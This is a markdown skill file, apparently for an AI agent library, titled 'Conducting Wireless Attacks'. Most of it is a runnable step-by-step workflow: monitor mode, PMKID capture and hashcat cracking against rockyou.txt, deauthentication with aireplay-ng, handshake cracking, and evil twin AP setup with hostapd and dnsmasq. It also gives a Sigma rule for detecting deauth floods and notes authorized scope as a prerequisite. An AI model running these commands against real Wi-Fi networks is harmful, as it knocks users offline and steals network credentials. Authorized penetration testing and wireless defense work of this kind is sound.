<!-- Copyright (c) 2026 defconxt. All rights reserved. -->
<!-- Licensed under AGPL-3.0 — see LICENSE file for details. -->
---
name: conducting-wireless-attacks
description: >-
  Perform wireless attacks: WPA2 handshake capture, PMKID, evil twin, deauth.
domain: cybersecurity
subdomain: red-team
tags:
  - wireless
  - wifi
  - wpa2
  - aircrack-ng
  - evil-twin
  - pmkid
version: "1.0"
author: defconxt
license: AGPL-3.0
metadata:
  mitre-attack: ["T1557.002", "T1040"]
  tools: ["aircrack-ng", "hashcat", "hostapd", "hcxdumptool"]
---

# Conducting Wireless Attacks

## Overview

Wireless attacks target Wi-Fi networks to capture credentials or intercept traffic via handshake/PMKID capture, offline cracking, and evil twin AP deployment.

## Prerequisites

- Tools: ["aircrack-ng", "hashcat", "hostapd", "hcxdumptool"]
- Authorized testing engagement with written scope

## Key Concepts

See workflow sections for technique-specific concepts.

## Workflow

### Step 1: Enable Monitor Mode
```bash
airmon-ng check kill
airmon-ng start wlan0
```

### Step 2: Scan Networks
```bash
airodump-ng wlan0mon
airodump-ng wlan0mon -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture
```

### Step 3: PMKID Attack
```bash
hcxdumptool -i wlan0mon -o capture.pcapng --enable_status=1
hcxpcapngtool -o hash.22000 capture.pcapng
hashcat -m 22000 hash.22000 rockyou.txt
```

### Step 4: Handshake Capture
```bash
aireplay-ng --deauth 5 -a AP_MAC -c CLIENT_MAC wlan0mon
aircrack-ng handshake-01.cap -w rockyou.txt
```

### Step 5: Evil Twin
```bash
hostapd /tmp/hostapd.conf &
dnsmasq -C /tmp/dnsmasq.conf &
```

## Detection Opportunities

| Signal | Source | Description |
|--------|--------|------------|
| Deauth frames | WIDS | Mass deauthentication |
| Rogue AP | WIDS | SSID with different BSSID |

```yaml
title: Wireless Deauthentication Attack
id: c4d5e6f7-8a9b-0c1d-2e3f-4a5b6c7d8e9f
status: experimental
logsource:
  category: wireless
detection:
  selection:
    frame_type: deauthentication
  timeframe: 1m
  condition: selection | count() > 10
level: high
tags:
  - attack.credential_access
  - attack.t1557.002
```

## Verification

- [ ] Technique executed successfully within scope
- [ ] Results documented with evidence
- [ ] Detection artifacts identified
- [ ] Cleanup performed after testing

## References

- [Aircrack-ng](https://www.aircrack-ng.org/)
- [hcxdumptool](https://github.com/ZerBea/hcxdumptool)
- [MITRE T1557.002](https://attack.mitre.org/techniques/T1557/002/)
